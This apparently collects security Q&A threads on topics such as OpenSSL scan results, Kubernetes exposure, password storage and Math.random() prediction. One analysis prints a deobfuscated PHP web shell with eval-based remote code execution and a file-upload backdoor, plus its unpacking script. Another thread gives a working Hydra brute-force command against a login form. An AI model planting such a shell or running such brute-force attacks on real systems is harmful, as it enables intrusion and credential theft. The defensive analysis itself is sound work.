Fixing an OpenSSL vulnerability at the firewall We did a Qualys test on two of our URLs earlier today. The URLs are of two similar applications (same versions) hosted on identical servers located at two different datacenters. The test returned 'A-' for one and 'F' for the other. The reason for 'F' rating was given as:

  This server is vulnerable to the OpenSSL Padding Oracle vulnerability
  (CVE-2016-2107) and insecure. Grade set to F.

However, the version of OpenSSL we have on both the servers are old and identical:

[user@alpha01 ~]$ rpm -qa | grep openssl
openssl-1.0.1e-30.el6_6.4.x86_64

Why did the Qualys test not identify the vulnerability on the server that it gave 'A-' though it is running a vulnerable version of OpenSSL as the other? Is OpenSSL Padding Oracle vulnerability something that can be fixed at the firewall level? I suspect the firewall at the server that received the 'A-' was successful in filtering out the packet that was trying to test this vulnerability. Am I right? Is this something that can be fixed at the firewall level? (Since both the webservers are located at different data-centers and behind different firewalls)

Is OpenSSL Padding Oracle vulnerability something that can be fixed at
  the firewall level? I suspect the firewall at the server that received
  the 'A-' was successful in filtering out the packet that was trying to
  test this vulnerability. Am I right? Is this something that can be
  fixed at the firewall level?

No.  SSL/TLS protocols have anti-tampering protections; if, for example, the firewall were to alter any of the handshake, the handshake would fail because both sides validate that what they sent was what got seen by the other side.

Other configurations might protect you.  If you had a SSL offloader or man-in-the-middle proxy, something which terminated and then re-opened connections so that you have connections #1 and #2:

[Server]<---1--->[Proxy]<---2--->[Scanner]

Then that would do it, because the vulnerable SSL library on Server isn't being touched by the scanner.

  However, the version of OpenSSL we have on both the servers are old
  and identical:

[user@alpha01 ~]$ rpm -qa | grep openssl
openssl-1.0.1e-30.el6_6.4.x86_64

And old.  That version is superseded by openssl-1.0.1e-48.el6_8.4.x86_64.rpm.  I would recommend updating it in both places and seeing if that makes it go away.  Restart your services after updating, of course.

Notice that I haven't really addressed the root question of "Why do two servers with the same libraries give different results."  That's because there's not really enough information to tell.  Are the server daemons the same on both hosts?  Could one be using different SSL libraries?  Did the scanner exercise the same level of testing against both?  How many times have you scanned each host?  Are the results solidly consistent?

With all that unknown, and given that you're running a known deprecated version of OpenSSL, my recommendation is to patch and test again.


Large lan party : How to identify the users on the network? I would like to know what are the good way to identify users on a large lan party when you manage network ?

I had the idea to make the users register them self at a desk, they give us Firstname, Lastname, MAC address, then we give them an IP linked to this mac address (permanent lease on the DHCP server), but how could I prevent them to change the IP while disabling the DHCP mode ?

Is there a way to force them to use the DHCP assigned IP ? Is 802.1x a good solution for this ? Maybe too heavy and complicated to setup (I never used it, but I think there is something to do on the computer to connect on the network)

The idea would be to be able to identify the user with it's IP address on the Firewall log to identify hacking attempts or any suspicious activity.

What are your experiences about this ? What do you recommend ?

Why match IP to username? Why not simply match MAC address to their ID? Then it doesn't matter what the IP address is.

The only issue is whether they will/can spoof their MAC address, although, if you are in a wired environment, you can set MAC filters on the switches since you know the MAC addresses, and alerts on MAC table flooding.

All this is assuming they are all on the same network for this party and not going through routers.


Redirection Malware Infection I have AVG Antivirus installed on my PC. My PC is infected with some kind of bonjovi redirection malware. It randomly opens up a new tab in Chrome and loads porn sites.

I have had this infection in the past (I used Avast Free during that time). It was resolved by reinstalling Chrome.

I have reinstalled Chrome yesterday as I saw the browser querying adult websites when loading a page. Today it started opening new windows. A system in my lab had been infected by this malware in the past, I had to re-install Windows to fix it. What am I supposed to do?

Looks like during previous infection you had malicious Chrome extension. That is why reinstalling Chrome helped you.

This time it has to be a standalone application, which opens links in your default browser. So reinstalling Chrome doesn't help.

I see two ways to solve this:

Install another antivirus, which will be able to handle this malware.
Try to install one of the most popular antiviruses and scan your computer. Almost all of them have trials.
Find and delete it by yourself.

a. Look for suspicious processes in Task manager. Or better use Process Monitor from Sysinternals suite.

b. Run "Autoruns" tool from Sysinternals suit and look for suspicious files.

c. If located malicious file, stop its process(using Process Monitor) and delete.


Is it a security issue that underlying infrastructure (like e.g. Kubernetes cluster) can easily be revealed? I have recently found out that a very common setup of Kubernetes for some use cases of access over TLS returns an invalid certificate with name Kubernetes Ingress Controller Fake Certificate. I.e. making it obvious to anyone that one is using Kubernetes.

So the question is not really so much about Kubernetes itself, but if disclosing such information about underlying infrastructure is considered undesirable or it does not matter?

P.S. Kuberentes information in more details:

Default installation of nginx ingress controller provides a "fallback" (called a default backend) that will respond to anything it does not know about. Sounds good, but the thing is that it does not have TLS configured, but does answer on port 443 as well and returns an (obviously) invalid certificate with name Kubernetes Ingress Controller Fake Certificate.

it's better to hide whats underlying as attackers get more info what they are attacking.

Solution here would be to configure TLS for default backend and make default backend return some thing more meaningful.

Why is that so:

Kubernetes had some zero days in his history like http2 issue, Nginx ingress controller issues
You should follow: https://www.cncf.io/blog/2019/01/14/9-kubernetes-security-best-practices-everyone-must-follow/

One of my examples:

I had Grafana on private network inside k8s but DNS entry was public. Attacker could make DNS enum to see grafana.example.com, see it's a private ip it resolves then http request k8s endpoint with spoofed Host header and gain access.
My fix was to mitigate it with ip whitelisting to allow only VPN access CIDR.

If above is not applicable make sure to harden Kubernetes so you are sure if the app gets exploited it won't impact whole Kubernetes cluster.


What is this script attempting to do? I have just been given access to a site to maintain, so the first thing I thought I'd do is some updates. After checking Wordfence it complained about a script which contained a file with the following within it:

Gist

Script was too big, I had to create a GIST as it went over the character limit.

If you pop that script into a base64 decoder you get:
https://gist.github.com/anonymous/914d5c5a82252dc0235995e32147c9d9

This is a reverse web shell that gives a lot of access to the server. So far, I see Server Security Information, PHP information, a PHP shell, a File Manager for uploading and downloading malicious files, a server wide search function, and an SQL browser.


How can I add a custom domain to an SAN for a certificate for consul domains like active.vault.service.consul? Say one has a service provided by Consul, for which active.[name-of-service].service.consul is the link it provides to the active host leader for that service. How would I properly set up TLS to that .consul domain name?

For example, suppose I have a HashiCorp Vault service, for which HashiCorp Consul provides service discovery with the HashiCorp Consul DNS interface by active.vault.service.consul. If more

I've heard that the "-domain" configuration option can be used to change the TLD from .consul to .somethingelse. Can it be changed to .subdomain.mymaindomain.com and have it still work w/o reaching out to corporate DNS? If so, could one potentially get a real subdomain for a consul/vault service and configure our consul DNS queries to answer under that subdomain. That would allow us to use real, trusted, TLS server certificates for securing communications.

However, without using Consul's CA feature, it seems difficult to actually set up a cert that has active.vault.service.consul on an SAN.

Do I need to use a private CA for this?

Consul has a page on how to set up encryption with TLS, but it seems to be more for authenticating clients than for use with domain names.

Anyway, other than self-signed certificates, how does one get TLS for URIs like https://active.vault.service.consul:8200/sys/health to work properly?

Turns out that not only can you do this, but if set up, allows automation of internal Virtual IP Addresses.
Let's assume your site has the domain nathanbasanese.rocks. And let's say your service is Redis.
You'd add "domain": "consul.nathanbasanese.rocks" to your Consul configuration file, e.g. /etc/consul/config.json.
Then, redirect DNS queries using something like DNSMasq (don't forget to donate!) for anything that uses "consul.nathanbasanese.rocks" as its TLD to go to your Consul server running on localhost.
For example,  you could use the following 127.0.0.1#8600 in DNSMasq as the content of your /etc/dnsmasq.d/consulstuff.
  ## This forwards DNS requests to the local Consul agent.
  ## Check the following link for more details about why:
  ## https://www.consul.io/docs/guides/forwarding.html#dnsmasq-setup
server=/consul/127.0.0.1#8600
server=/consul.nathanbasanese.rocks/127.0.0.1#8600

Then, for each node, get a cert with the node's node_name as the cert's CN= value (make sure to configure the node_names to be certifiable by whatever standard gets you through your CA. using the FQDN should be fine, e.g. redis001.nathanbasanese.rocks), and active.redis.service.consul.nathanbasanese.rocks as the top SAN.
If you have 25 Redis behind that Consul responds with their nodename(s) to active.redis.service.consul.nathanbasanese.rocks, well, you're going to need 25 certs. Yay, security.
I've tested this, and it works well enough on servers that have the consul agent with the configuration above.
You can test with the curl -v command, passing the certificate authority's .cer file in to curl's --cacert parameter if you run into problems with trusting a test CA or something.


Yes, it's malicious.

This script has 20 layers of eval/deflate obfuscation, but eventually decodes to:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

Ugly! Let's format that:

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_GET['r']))
{
    print $_GET['r'];
}
elseif (isset($_POST['e']))
{
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
}
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary')
{
    $data = file_get_contents('php://input');
    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';
    if (strlen($data) > 12)
    {
        $fp=@fopen('tmpfile','a');
        @flock($fp, LOCK_EX);
        @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");
        @flock($fp, LOCK_UN);
        @fclose($fp);
    }
}
exit;

What have we here?

First, the r parameter seems to be an echo-back for the purposes of detecting that the script is working. The e parameter is used to do remote code execution, with base64 / rot13 obfuscation on the request, presumably to defeat minimal IDS / WAF rules. The final elseif clause is used for file uploads, whereby any binary file upload operation sent to that script will write the contents to a file called tmpfile. I'd assume they'd later use the e parameter to execute code that renames the file, probably for uploading a more functional shell or overwriting existing files.

A quick Google search for the eval line throws up a load of results about Wordpress installations being nailed with it, which were then used to distribute malware and pharma spam.

Ok, due to popular demand, here's how I decrypted it:

First, I replaced the eval with an echo, so it printed out the contents of the inflated data. This gave me another payload that looked exactly the same, except the base64 string was different. After doing the eval / echo switch again a few times, I kept getting the same result - another eval, gzinflate, base64_decode chain with different base64. At this point I wasn't willing to sit there and manually do it, because that would be a pain if there were a large number of layers. I came up with an automated way to unpack it.

I wrapped the initial payload into a string, then used a while loop to iteratively undo layers of protection. The loop condition checks that the decryption chain is at the start of the code string, and if not it leaves the loop and displays the code. This has two functions: first, if the code is only obfuscated by that chain, it'll give us the real code. Second: if a different obfuscation technique is switched to later on, it'll stop and return that code instead of breaking it.

// our initial payload in a string
$code = 'eval(gzinflate(base64_decode("DZVFrsUIggTv .. <snip> .. JCvwNv77n3///ff//h8=")));';

$layers = 0;

// loop while the code string starts with the eval / gzinflate / base64_decode chain
while(strpos($code, 'eval(gzinflate(base64_decode') === 0)
{
  // replace the eval with a return, so that our eval dumps
  // the result of the operation rather than executing it
  $code = str_replace('eval(gz', 'return (gz', $code);

  // the return now causes the result of gzinflate to be
  // placed back into the $code variable.
  $code = eval($code);

  // keep a count of the number of layers we removed
  $layers++;
}

// no longer have a eval/gzinflate/base64_decode chain at
// the start of the code, so print out the result.
echo "Unwrapped {$layers} layers of obfuscation...\n\n";
echo "{$code}\n";

The results:

Unwrapped 21 layers of obfuscation...

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

If you want to see the verbose output with all layers printed, I've put it on Pastebin.


Do a DoS where you permit only your own connection? Yesterday I was discussing with my brother, a computer scientist, if it is posible to perform a Denial of Service on a webpage so you block all the traffic to the web but you allow your connection to access the web.

This would prove very useful for him as he has an online shop and he's going to apply very large sales and discounts and he considered the option that someone blocked the traffic and get all the products placed there.

Do you think that's feasible? And in case it is, how would you prevent an attacker from doing so?

This depends a lot on the setup of this site.

If there is no DOS protection at all than it is probably not possible for an attacker to block others from accessing the site while still having access. The attacker might of course try to hack the site and configure a firewall or require authorization so that everyone else gets blocked.

If there is some dumb DOS protection or IDS the attacker might try to create an attack with spoofed source IP in the hope that the IDS or DOS protection will consider these source IP malicious and automatically block them. This way it can be done that only selected IP addresses have access, including the attackers real IP address.


Auth in query string Heroku got interesting blog post:

  For security reasons, we will be sunsetting support of auth in query string sooner, which we will announce in the Changelog.

However, no explanation is provided about those reasons. So why auth in query string is considered insecure?

The main reason that I'm aware of is that most http servers will log the query string.  If the username/password/security token are sent in the query string, these then get stored in the log file, and you increase the potential for exposure.


Default user names to avoid Following this answer on a question about fake users, is there a general list of users which would be deemed to be a common username?

The part of the linked answer I'm referring to is

  Don't use a common username, such as admin. This is likely to get hit
  by passive multi-host attacks just scanning

Off the top of my head I can come up with:

admin
administrator
root

It's a lot easier to get lists of default passwords because these mainly come with hardware, and naturally using those is a bad idea; but what about commonly used usernames which we should be avoiding?

I'm thinking mainly along the lines of new sites/services which require logon, but this could easily extend to hardware too.

EDIT: I am developing some applications/services which will need default admin users and am looking to minimise the risk of those being accessed, even with strong passwords.

TL;DR Don't worry about your username if it isn't the default admin username, worry more about securing your passwords with strong, unique passwords.

There isn't a good way to answer this question that can be fully satisfactory, because there are too many usernames.

Just like Matthew's suggestion to check out https://github.com/maryrosecook/commonusernames/blob/master/usernames.txt, and you can also check out https://sg.answers.yahoo.com/question/index?qid=20111101181037AANzt6G to get another list.

There are many lists like that online, so finding what people expect a common username to be is easy.  The problem I see is how that person worded that answer you quoted.  Really common usernames aren't the problem, it's default usernames that can be changed.

Think of it like this, your system is only as secure as you are.  So if you use admin as a username for example, then it's easier to guess an administrator's username.  If you use a strong, unique password for each website, then it doesn't matter if they know your username (which can still be easy to find).  If you use a weak and/or the same password for each website, then you will eventually have a problem where they use a dictionary attack of leaked passwords and eventually get in.

So focus more on strong/unique passwords rather than common usernames, because that's a very small piece of the problem.  And depending on the system, it could be very easy to find valid usernames (e.g. email addresses, abbreviations of lastname firstname, etc.).  Also to give you an idea how easy it is to get someone's username, if you go to any website that lets you register, it will tell you what you need for a username.  If it says put in your email, then you know it's someone's email address, but if it says to enter one on your own, it's most likely a common username they use for other websites too.  Now just because you don't know what other people choose for their username, that doesn't mean it isn't easy to get.  When hackers get lists of usernames and passwords, they will get it from sites with weaker security like forums or third party sites.  After they have a list, they can dictionary attack sites like banks, video games, or even your facebook to get what they want.  This is why you want to use unique passwords for every website you go to, so if that does happen they can't get into your email and reset every password you have (that they can find).

After all that if you still want a list, check out the links or just google search it with different keywords like common or popular passwords.


Encrypting guest VM on ESXI with Veracrypt Hi we're using an ESXI box to host some VM's locally on our network. We're devs and we just want things like UAT servers. We've encrypted with Veracrypt:

Bitlocker was out as ESXI can't see the TPM.
EXSI native encryption involved VSphere servers which seemed at bit beyond us.

So entering a password on boot seems fine for us in a dev environment. In terms of hard drives being lost or stolen are there any potential issues with this? Cheers.

If you want to encrypt the guest machines, then you can use veracrypt, but consider the performance impact. This way though you will need to enter a password every time the guest is restarted.

The other thing is, that if you create a snapshot of a running guest, then the encryption will be worthless.


How to run Hydra with json response? I've been doing some bug bounty hunting and have been having problems with hydra. So there is a https login form, request is :

https://bbsite/crp/login?password=pass&username=admin

Problem is that response is in json. So for bad login it is:

{"success":false,"greska":"Pogre\u0161no."}

So my solution was:

hydra  bbsite https-get-form "/crp/login:username=^USER^&password=^PASS^:{\"success\"\:false,\"greska\"\:\"Pogre\u0161no\"}" -l admin -P /root/Downloads/pass.txt

But this is not working, and I have no idea why.
Can anyone suggest solution?

Found solution:

hydra  bbsite https-get-form "/crp/login:username=^USER^&password=^PASS^:F={\"success\"\:false,\"greska\"\:\"Pogre\\\u0161no\"}" -l admin -P /root/Downloads/pass.txt

Needed to add F= for fail login.
Needed to escape \ with \.


How and why is executable stack dangerous? I'm currently using nested functions (which is extensions to C in GCC), however that is not supported (and is not planned to be supported) in clang. Mostly on the grounds that executable stack is dangerous and I would like to understand why exactly.

Is there something inherently dangerous about it?

In case of stack based buffer overflow exploits attackers typically control parts of the stack (that's how she triggers the overflow in the first place). After gaining control over the program counter it would be very convenient for the attacker to resume execution on attacker controlled data on the stack, which is only possible if the stack is executable. Marking the stack non-executable is part of the W^X policy: when implemented, the attacker can only control non-executable memory, making direct injection of executable code impossible.

Attackers usually overcome this mitigation by reusing existing executable code from the target program using techniques like return-to-libc or ROP.


Methods for storing plaintext passwords on a client I have been tasked with some backend automation that needs to scrape data off an internal website using an employee's username/password to log in to the site.

There is a backend database server, but I do not have access to said database (bureaucracy is a stumbling block). Specifically, all employees have access to this data via a username/password login on the internal site, and my scraper needs to as well.

Since I have an automated scrape that needs to be done at regular intervals, I unfortunately require storage of a set of credentials in plaintext, such that they can be used to authenticate with the site, and then scrape the information for digesting. The host system for these scripts is locked down, behind key required SSH, and is probably stronger than the physical security in this office anyway (someone with access to the office could get this information much more easily than attacking my server).

My question: How can I make the stored plaintext passwords on the client as low a risk as possible, given that it is impossible to avoid altogether?

As an addenda for potential additional questions, the site is a simple HTTPS form, username/password are POSTed, and an auth token (session ID) is used for further request. Unfortunately the ID expires, so I need to redo the password auth every 2 hours.

EDIT:

Based on questions I have received so far, my current theoretical implementation is to keep the username/password stored, encrypted on disk, and require the decryption key at first run/reboot as well as at a set time period. Theoretically this would reduce the risk of the device being stolen physically, and compromising the authentication information.

An alternate option I'm considering is to have an intermediary service running on a separate or locked down instance/container, whose image would be encrypted on disk. This can be the middle man authentication service, and would have a single purpose, to fetch the session ID key from the site on request, and store the temporarily decrypted username/password information. This might serve to further separate the user/pass info from the potentially more exposed service.

The quick and easy (but wrong) solution is have a master password to encrypt the logins and passwords. You'll need to type this password each time you run the script. If you don't want to have to type it each time, you can see this question for other options.

The correct way to do this is go to the admin of your internal site and ask them for web scraping credentials that give you all the proper access rights to scrape what you need. You should never really have access to logins and passwords of others. It's dangerous for the company and a liability for yourself if something bad happens. Unfortunately, this may not be an option as it requires cooperation from someone else.


Why is there a preference towards long passphrases instead of increasing the hashing iterations? There seems to be an agreement that when it comes to offline password brute-forcing, long but simple passwords are better than short complex ones. I recently saw a question related to increasing the number of encryption iterations in GPG and some people seemed to suggest to just come up with a strong password instead, for example because the other option would involve slowing down ARM implementations. Are there any other arguments for not increasing the number of iterations and shortening the password?

Increasing the number of iterations makes the function more expensive to compute, both for the attacker (that's the point) but also for the defender. Thus, it feeds on the very scarce resource known as "user's patience"; the number of iteration cannot be made arbitrarily high. This is in particular true if one of the systems on which the password shall be hashed is under-powered (e.g. a cheap smartphone).

Using a more random password usually means using a longer password (the password is not made stronger through its length, but because of its randomness; however, you need more length to make room for extra randomness). A longer password implies extra typing efforts, so again user's patience is an issue, but at least this is an active user: human users are more tolerant of security procedures when they are doing something during the procedure.

Conceptually you need both a high number of iterations, and a strong password full of randomness. The randomness is what defeats the attacker; the iterations are there to counter the effects of Moore's law.


ATM skimming and magnetic strip cloning How does a thief know whether an ATM is EMV enabled or not?

So, here in Europe, ATMs have been Pin&Chipped for at least since the mid 90's. So there's no question.

Other than that:

Just insert a credit card (stolen, yours) and try to get money?
Stand next to the ATM and observe people withdraw money?
find the type label and get the user manual online?

Also, although admittedly small in-shop ATMs are far more common in the US, and thus are offline / non-chip ones, you could probably compile a list of those which have and those models which don't have that feauture. I'm not a skimmer, but common sense tells me that there's a list with pictures somewhere on the internet.


Is this a secure setup for a Java password manager? I'm a fairly new to cryptography, but I recently decided to take up the challenge of trying to write a Java password manager that could store passwords on the local machine while still being secure. These were my thoughts, so I was wondering if anyone could point out any obvious security flaws.

The user enters their master password, say "password". "password" gets encrypted using 2 different RSA semi-primes to 2 different BigInteger values. For this example I'm not going to use massive numbers. Say 5324541 and 10983747.
The first encrypted value, 5324541 was stored in a .txt file so the encrypted value of the master password gets checked against this to determine whether or not the program proceeds.
There is going to be another .txt file that stores numbers corresponding to the users passwords, say

Facebook, 4363454
Twitter, 3423421
Instagram, 9997532
Bank, 671
ITunes, 1400000

The second number, 10983747 (this one wasn't stored on the machine, it was generated on the fly when the user entered the master password) will then be used to generate the actual values needed to retrieve the passwords.

10983747 + 4363454
10983747 + 3423421
10983747 + 9997532
10983747 + 671
10983747 + 1400000

These will be the values the individual passwords hashed to.
I plan on hashing each of the individual passwords to Big Integers to avoid collisions, but I plan on making that function fairly easy to compute and easily invertible (not secure at all). Example, the password "hello" would map to some number, say 54338988, but the number stored in the txt file would be (54338988 - 10983747). This way, nobody could figure out what the actual hash was without knowing the 2nd key that can only be generated on the fly by the master password.

I've also been thinking about implementing a feature to protect against keylogging if the user wanted to. It would generate a random bijection from the set of characters to themselves every time it ran. If the user's password was "ab" (oversimplified example) and the map said to type "F" for a and "!" for b then you would enter "F!" as your password an the program would use the bijection I constructed to figure out what you actually meant.

Like I said, I'm kind of new to cryptography, so there may be some major oversight here. I would really appreciate any insight into possible issues, security flaws, or suggestions as I'm really interested in learning about the subject. Thanks!

First of all, you should not roll your own in situation where security is of any importance. (Just playing around for fun and learning is a different matter, of course.)

Second, I agree with schroeder that you should look at the source code of existing password managers and learn from them.

With that said, here are two big problems with your design:

Let's say that an attacker knows e.g. the victim's Facebook password. She runs that password through your function and gets 15347201. Then she substracts the value stored for Facebook in your text file (4363454) and gets the secret number 10983747. She now has the number that will let her decrypt any of the other passwords.
There is no step that is slow by design to prevent brute forcing. Usually key stretching is used for this, i.e. hashing the master password with a slow hash function (e.g. bcrypt of PBKDF2) to generate the encryption key.

There might be other flaws as well, but this should be enough to make you want to pick another scheme.


Predicting Math.random() numbers? I was reading up on the documentation for Math.random() and I found the note:

  Math.random() does not provide cryptographically secure random
  numbers. Do not use them for anything related to security. Use the Web
  Crypto API instead, and more precisely the
  window.crypto.getRandomValues() method.

Is it possible to predict what numbers a call to random will generate?  If so - how could this be done?

Indeed, Math.random() is not cryptographically secure.

Definition of Math.random()
The definition of Math.random() in the ES6 specification left a lot of freedom about the implementation of the function in JavaScript engines:

Returns a Number value with positive sign, greater than or equal to 0 but less than 1, chosen randomly or pseudo randomly with approximately uniform distribution over that range, using an implementation-dependent algorithm or strategy. This function takes no arguments.
Each Math.random function created for distinct code Realms must produce a distinct sequence of values from successive calls.

So let's have a look at how the most popular JavaScript engines implemented it.

SpiderMonkey, used by Firefox and many programs, implemented an algorithm named Xorshift128+ (link to Mozilla's repository).
V8, used by Chrome and Node.js, also implemented the Xorshift128+ algorithm (called in the RandomNumberGenerator function)
Webkit, used by Safari, also implemented the Xorshift128+ algorithm.
Chakra, the JavaScript engine powering Microsoft Edge, also implemented the Xorshift128+ algorithm.

Xorshift128+ is one of the XorShift random number generators, which are among the fastest non-cryptographically-secure random number generators.
I don't know if there's any attack on any of the implementations listed above, though. But those implementations are very recent, and other implementations (and vulnerabilities) existed in the past, and may still exist if your browser / server haven't been updated.
Update: douggard's answer explains how someone can recover the state XorShift128+ and predict Math.random() values.

V8's MWC1616 algorithm
On November 2015, Mike Malone explained in a blog post that V8's implementation of the MWC1616 algorithm was somehow broken: you can see some linear patterns on this test or on this one if you're using a V8-based browser. The V8 team handled it and released a fix in Chromium 49 (on January 15th, 2016) and Chrome 49 (on March 8th, 2016).
This paper pulished in 2009 explained how to determine the state of the PRNG of V8's based on the previous outputs of Math.random() (the MWC1616 version).
Here's a Python script which implements it (even if the outputs are not consecutive).
This has been exploited in a real world attack on CSGOJackbot, a betting site built with Node.js. The attacker was fair enough to just make fun of this vulnerability.

Lack of compartmentalization
Before ES6, the Math.random() definition didn't specify that distinct pages had to produce distinct sequences of values.
This allowed an attacker to generate some random numbers, determine the state of the PNRG, redirect the user to a vulnerable application (which would use Math.random() for sensitive things) and predict which number Math.random() was going to return. This blog post presents some code about how to do it (Internet Explorer 8 and below).
The ES6 specification (which had been approved as a standard on June 17, 2015) makes sure that browsers handle this case correctly.

Badly-chosen seed
Guessing the seed chosen for initializing the sequence can also allow an attacker to predict the numbers in the sequence. It's also a real world scenario, since it has been used on Facebook in 2012.

This paper published in 2008 explains different methods to leak some information thanks to the browsers' lack of randomness.

Solutions
First of all, always make sure that your browsers / servers are updated regularly.
Then, you should use cryptographic functions if needed:

If you're working in a browser environment, then you can use crypto.getRandomValues, part of the Web Crypto API (check the support table).
If you're working with Node.js, then you can use crypto.randomBytes.

Both rely on OS-level entropy, and will let you get cryptographically random values.


Encryption using best practices I am attempting to write a function to encrypt and decrypt data using NodeJs following current best practices.

In order to achieve this I am doing the following:

Taking an end user password and enforcing password strength requirements
Generating 128 random bytes for a salt
Hashing the user password with pbkdf2 and the salt
Generating 16 random bytes for an IV
Encrypting my data with AES-256-CBC using the IV, and hashed password
Storing the encrypted data as a string in the format iv:salt:encryptedData

I'm assuming that using something like Argon2 for the hashed password would be superior, although everything I have read so far about encrypting files recommends pbkdf2.

Is it safe to store the salt and IV in the encrypted file? I'd like to only require a password for decrypting the file, so this would be preferable. I am under the impression that this protects me against a rainbow table style attack. I am not certain if this significantly increases the likelihood of someone being able to decrypt the data.

Is there anything else I could be doing to improve the security of the encrypted file?

This gist contains my exact code: https://gist.github.com/briancw/485e2645f7da16eaa3b530dd913297a5

A popular crypto library is libsodium, based on NaCl, which provides an easy way to perform basic cryptographic operations like key exchange. It supports few algorithms, but the ones it does support are modern, secure, and chosen to work in a wide-variety of situations, removing the necessity to be understand the details of various crypto primitives. The library is for C, but it has been ported (usually in the form of C bindings) to many different languages, including to Node.js.

Installing it for Node.js is simple:

npm install libsodium


Do I really need all these Certificate Authorities in my browser or in my keychain? There are lots of strange looking Certificate Authorities in my keychain as well as Firefox. I am sure they are legitimate CAs (as they are the same on my Mac and PC and other computers I checked). And by strange I mean they seems to be specific to same other countries or organizations that I am sure I have nothing to do with, is there a way to safely remove these unnecessary CAs? Is there a list for regular US users or a way to disable them and enable them when they ar needed?

The Web is worldwide. That you are a "US user" does not mean that you will only look at US websites.

You can remove any CA certificate that you do not wish to trust. That's your prerogative. The only consequence of removing a CA certificate is that the machine will cease to automatically accept as valid any certificate issued by the said CA. Translation: some HTTPS Web site may begin to trigger scary warnings, which you can always bypass, but which are scary nonetheless (and training yourself to bypass scary warnings might not be a good idea anyway).

The truth is that, as a user, you have very little information on which you could base your decision of trusting or not trusting any particular CA. Ideally, you would trust only those CA for which you can establish a clear responsibility path down to you: the CA which will give you a lot of money in case you get swindled due to a mistake made by the CA. However, there is no such CA. Instead, what you have is a list of "default CA" who made a deal with the OS vendor (Apple, in the case of Mac OS) so that the OS vendor accepts to include them as "default CA". These CA, and Apple, are way too smart, legally speaking, to give you money in case of any problem (as a Mac user, your money relationship with Apple rather flows in the other direction). Yet, if one of the "default CA" begins to behave improperly, that's Apple public image which is at stake.

So my advice would be to let things as they are. This is what almost everybody does. Remember that, in any case, the point of the CA is to validate the certificate, which does not mean that the corresponding site is maintained by honest and trustworthy people; the only thing that the CA guarantees is that the Web page you are looking at really came from the Web site whose name is in the URL bar.


How to Perform Encryption after Diffie Hellman Key Exchange This feels like a silly question, but a cursory look around the internet hasn't exactly helped.

I'm implementing 1-out-of-2 oblivious transfer using DH key exchange in Python.  I have successfully performed DH to get the symmetric key on both sides as well as the derived keys needed for the OT protocol.  Strangely, I'm not sure how to apply the key to my message to actually 'encrypt' it!?

Is it multiplication, modular multiplication?  I'm so sorry for what feels like a bad question, but I'm not seeing it.

I'm implementing the simple OT protocol at the bottom of the box on page 1 of this paper for reference.  Thanks, in advance, for your time and help.

OK, absolutely mandatory first comment: DO NOT ROLL YOUR OWN ENCRYPTION PROTOCOL OR WRITE YOUR OWN CRYPTOGRAPHY IMPLEMENTATION. Just don't. Ever. It doesn't matter how great a programmer you are; if you don't have a lot of knowledge and practice with crypto and a group of similarly skilled-and-experienced peer reviewers, you will screw something up. Crypto is extremely difficult to get right, full of edge cases, counter-intuitive requirements, and unexpected side-channels... and if you fail to account for even a single one of them, you'll weaken your scheme, quite possibly to the level of complete compromise.

Edit
OK, I'm not familiar with the scheme described in that paper. Given that, the below stuff - for use with normal DH exchange, not this curious new thing - may not be appropriate. However, The question you asked, "How to Perform Encryption after Diffie Hellman Key Exchange", is answered below... except, of course, that the true answer is "you don't, you use a library that handles that for you."

Ok, with that out of the way... once you've got the symmetric key out of the DH exchange, use it in a symmetric cryptographic cipher! There are lots to choose from, but the most common is probably AES, using either a 128-bit or 256-bit key, in CBC mode, with PKCS7 padding, using a strong randomly-generated IV, and with an HMAC of the ciphertext for integrity. If your shared key is the wrong length for the cipher, you can run it through a function such as SHA-256 to produce a key suitable for 256-bit AES.
You can send the IV and the HMAC in the clear; they are useless to an attacker without the key and the intended recipient needs to know them. The recipient takes the ciphertext, re-computes the HMAC and verifies that it matches, then uses the supplied IV and the shared symmetric key to decrypt the message using the same AES cipher in CBC mode.

I cannot emphasize strongly enough how essential it is that you do NOT attempt to do this as anything but a curiosity. Do not publish this code. Do not incorporate it in anything you might ever publish. Do not build anything else on top of it. Do not trust anything sent via this system. Do not assume it has any meaningful security characteristics. Ideally, don't even stick it in your GitHub or whatever... but if you must, include a comment at the top very clearly disclaiming the suitability of the code to be used for anything whatsoever.
There are steps I've elided over or left overly vague. There's at least a dozen ways you could screw up even just the parts I've told you about, never mind all the other things you have to do. There's a bunch of stuff I suspect you've already done wrong in your key exchange. There are a bunch of things that I'm sure I don't even know are wrong, but that you're doing wrong.
